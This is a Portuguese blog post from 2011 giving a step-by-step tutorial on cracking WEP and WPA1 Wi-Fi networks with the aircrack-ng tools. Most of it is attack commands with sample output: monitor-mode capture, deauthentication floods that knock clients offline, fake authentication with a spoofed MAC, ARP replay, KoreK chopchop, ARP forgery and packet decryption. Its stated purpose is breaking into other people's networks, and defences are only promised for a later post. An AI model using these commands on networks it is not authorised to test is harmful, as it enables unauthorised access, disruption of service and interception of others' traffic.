..: Invasão/Quebra de Chave Wireless :..

Publicado: 1 de agosto de 2011 em Invasão
Tags:, , , , , ,

Hoje em dia, quem não tem uma conexão Wifi disponível? Pois é… com o crescente aumento nas vendas de notebooks e consequente aumento de roteadores, torna-se cada vez mais necessária a utilização de senhas fortes, bons firewalls e outros métodos de segurança para ninguém “roubar” sua internet… e por falar nisso, vou mostrar como é possível quebrar redes, mesmo com segurança WEP e WPA1 utilizando Linux.

Começando

Pra quem nunca viu ou tem curiosidade de aprender um pouco mais sobre segurança em redes, recomendo que pesquisem bastante, tanto no google, quanto em livros especializados. Um bom livro é o “Segurança e Auditoria da Tecnologia da Informação”, de Cláudia Dias.

Vamos à ação rsrs…

Todo arquivo de captura de pacotes deve ter a extensão .cap ou .ivs.

Instale o aircrack-ng. Como uso uma versão com base em Debian, vou usar o apt-get pra instalar o pacote… caso você não ache em seu gerenciador de pacotes, pode baixar o prog no site http:\\www.aircrack-ng.org e instalar manualmente (dúvidas pra instalar? O google tira todas! 😉

Capturando os Pacotes

AIRMON-NG (vem instalado com o aircrack-ng) – é a ferramenta para colocarmos nossa placa de rede wireless no estado monitor. Antes de começar a capturar pacotes da rede, devemos utilizar esta ferramenta em modo root ou adm. A linha de execução é:

airmon-ng <start|stop> <interface> [channel]

onde <start|stop> inicia ou pára de monitorar; <interface> é a sua interface de rede, por exemplo: eth0, raw0, ath0, etc.; e [chanell] é o canal que sua placa de rede wireless irá trabalhar.

Feito isso, com sua placa de rede monitorando a rede wireless disponível, vamos para a captura dos pacotes transmitidos pelo protocolo 802.11.  Lembrando que todas as ferramentas vêm instaladas com o aircrack-ng, vamos agora utilizar a ferramenta AIRODUMP-NG.

A finalidade desta ferramenta é capturar e coletar ivs (Initialization Vectors) dos pacotes WEP. Estes são os pacotes que usaremos com o AIRCRACK-NG pra descobrir a chave que a WEP está usando.

INTERESSANTE: se você tiver um receptor GPS em seu computador, o airodump-ng irá mostrar as coordenadas do Access Point que você está coletando os pacotes.

O airodump também deve ser usado como root:

airodump-ng <options> <interfaces>

Lembrando que <interfaces> é a sua interface de rede, as <options> são:

  •  -ivs: captura somente os pacotes ivs;
  •  –gpsd: usa um dispositivo GPS, caso o tenha;
  •  –write: cria um arquivo com o nome escolhido e com a extensão .cap ou .ivs e começa a capturar;
  •  –beacons: guarda os beacons (não é guardado por padrão);
  •  –channel: especifica um canal para a captura;
  •  -a: captura na frequência de 5Ghz específica da banda A;
  •  –abg: captura tanto em frequências de 5Ghz quanto nas de 2,4Ghz.

Por padrão, o airodump-ng captura os pacotes da frequência 2.4Ghz.

Capturando e escrevendo no arquivo teste.ivs, no channel 11, nas frequências entre 2.4 e 5Ghz, com a interface da placa ath0:

# airodump-ng –ivs -write teste.ivs -c 11 –abg ath0

Captura de pacotes com o arquivo teste.cap, com as mesmas configs acima:

# airodump-ng –ivs -write teste.cap -c 11 -abg ath0

O programa airodump-ng oscila entre WEP e WAP1. Quando sua placa não rejeita pacotes corrompidos, o airodump-ng mostra isso no terminal:

Pra entender melhor:

Atacando a rede Wireless

Depois de capturar os pacotes, o próximo passo é atacar a rede com a ferramenta AIREPLAY-NG.

Existem maneiras diferentes de utilizar o programa classificadas da seguinte forma:

  • 0: Desautenticação;
  • 1: Autenticação falsa;
  • 2: Seleção interativa do pacote a enviar;
  • 3: Reinjeção ARP;
  • 4: “Chopchop” de KoreK (predicção de CRC).

Ataque Zero:

O ataque Zero, desautentica um usuário conectado ao Access Point e conecta novamente, fazendo uma nova requisição ARP e envia um novo handshake. Neste ataque, podemos:

Capturar HandShake WPA:

# aireplay-ng -0 5 -a <MAC do Access Point> -c <MAC do Client> <interface> – Reinjeção ARP (ataque 3)

# aireplay-ng -0 10 -a <Mac do Access Point> <interface> – faz todos os usuários conectados caírem para nova requisição ARP

# aireplay-ng -3 -b <MAC do Access Point> -h <MAC do Client> <interface> – reinjeção dos pacotes

Rejeitar que o cliente se conecte:

# aireplay-ng -0 0 -a <Mac do Access Point> <interface> para todos conectados no Access Point, e

# aireplay-ng -0 0 -a <Mac do Access Point> -c <MAC do Client> <interface>  para um client específico.

Ataque Um:

Este ataque funciona com êxito quando um cliente está conectado ao Access Point. Caso não tenha ou não saiba, faremos uma client para conectar a esse AccessPoint. Lembre-se sempre que é melhor ter um client conectado, pois assim iremos gerar tráfego ARP.

Vamos mudar o nosso MAC:

# ifconfig <interface> down
# ifconfig <interface> hw ether 00:11:22:33:44:55
# ifconfig <interface> up

Ataque:

# aireplay-ng -1 0 -e SeuESSID -a <MAC do Access Point> -h 00:11:22:33:44:55 <interface>

Se der certo, vai aparecer algo assim:

03:12:04 Sending Authentication Request
03:12:04 Authentication successfull
03:12:04 Sending Association Request
03:12:05 Association successfull

Como alguns Access Point podem requerer autenticação de tantos em tantos segundos, o aireplay-ng consegue fazer isso da seguinte maneira:

# aireplay-ng -1 <Qtd de Segundos> -e <Seu ESSID Falso> -a <MAC do Access Point> -h 00:11:22:33:44:55 <interface>

Caso este ataque não seja bem sucedido (o aireplay continua enviando pacotes de pedido de autenticação), pode ser que esteja usando filtro de MAC Address. Verifique o seguinte também:

  1. Está com o controlador corretamente instalado e com os patches devidamente aplicados?
  2. A placa wireless está configurada no mesmo canal que o Access Point?
  3. O BSSID e o ESSID (opções -a / -e) são as corretas? Se for Prism2, verifique se o firmware está atualizado.

Algumas placas de rede só suportam associar e injetar/monitorar através da interface Xraw, por isso, talvez você precise fazer:

# ifconfig <interface> down hw ether 00:11:22:33:44:55
#ifconfig <interface> mode Managed essid ‘the ssid’ key AAAAAAAAAA
#ifconfig <interface> up

#sysctl -w dev.<interface>.rawdev=1 (cria o <interface> Xraw)
#ifconfig <interface>raw up
#airodump-ng <interface>raw out 6

Só então, você poderá usar os ATAQUES 3 e 4 (o aireplay-ng substitui o <interface> pelo <interface>raw que criamos caso sua placa precise).

# aireplay-ng -3 -h 00:11:22:33:44:55 -b <MAC do Access Point> <interface> (ATAQUE 3)
# aireplay-ng -4 -h 00:10:20:30:40:50 -f1 <interface> (ATAQUE 4)

Ataque Dois:

Este ataque seleciona um pacote qualquer, inverte as posições dos MAC do Access Point e do Client, causando conflito e forçando o reinício, e faz a reinjeção:

# aireplay-ng -2 -b <MAC do Access Point> -n 100 -p 0841 -h <MAC do Client> -c <MAC do Access Point> <interface>

Ataque Três:

O famoso ataque de reinjeção de requisição ARP é o mais efetivo para gerar ivs. Este ataque requer um endereço MAC de um cliente associado ou um MAC falso como montamos no Ataque 1, porém, este ataque pode demorar bastante e precisa de tráfego.

Como usamos no Ataque 1:

# aireplay-ng -3 -h 00:11:22:33:44:55 -b <MAC do Access Point> <interface>

Aparecerá o seguinte:

Saving ARP request in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets…

Ataque Quatro:

Ataque nomeado “ChopChop” de KoreK, quando bem sucedido é ótimo pois desencripta um pacote WEP sem conhecer a sua chave e pode usar uma WEP dinâmica.

Este ataque não recupera a chave WEP, apenas revela em texto plano. Alguns Access Point não são tão vulneráveis assim, outros, parecem até mais vulneráveis por jogarem os pacotes menores que 60bytes. O aireplay-ng consegue adivinhar o resto dos pacotes menores que 42bytes que são jogados pelos Access Point.

Primeiro, desencriptamos um pacote:

#aireplay-ng -4 <interface>

Se não funcionar é porque o AccessPoint precisa de um MAC específico filtrado nele. Assim, temos que usar um MAC de um cliente conectado:

#aireplay-ng -4 -h <MAC do Client> <interface>

Segundo, o IP:

#tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap

Aparecerá algo assim:

reading from file replay_dec-0627-022301.cap, link-type […]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

Agora, forjamos uma requisição ARP:

# arpforge-ng replay_dec-0627-022301.xor 1 <MAC do CLient> <MAC do Access Point> 192.168.1.100 192.168.1.2 arp.cap

A faixa de IP inicial (192.168.1.100) não importa, mas sim a de destino (192.168.1.2).

Reenviando o ARP forjado:

# aireplay-ng -2 -r arp.cap ath0

Desencriptando as Chaves dos Pacotes Capturados

Para desencriptar as chaves, vamos usar a ferramenta AIRDECAP-NG. Ela serve tanto para chaves WEP quanto para WPA1, que foram capturadas no arquivo.cap.

airdecap-ng [opções]

# airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
# airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
# airdecap-ng -e ‘the ssid’ -p passphrase tkip.cap

Em outro post, vou mostrar a forma mais simples de se defender deste tipo de ataque/invasão…

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s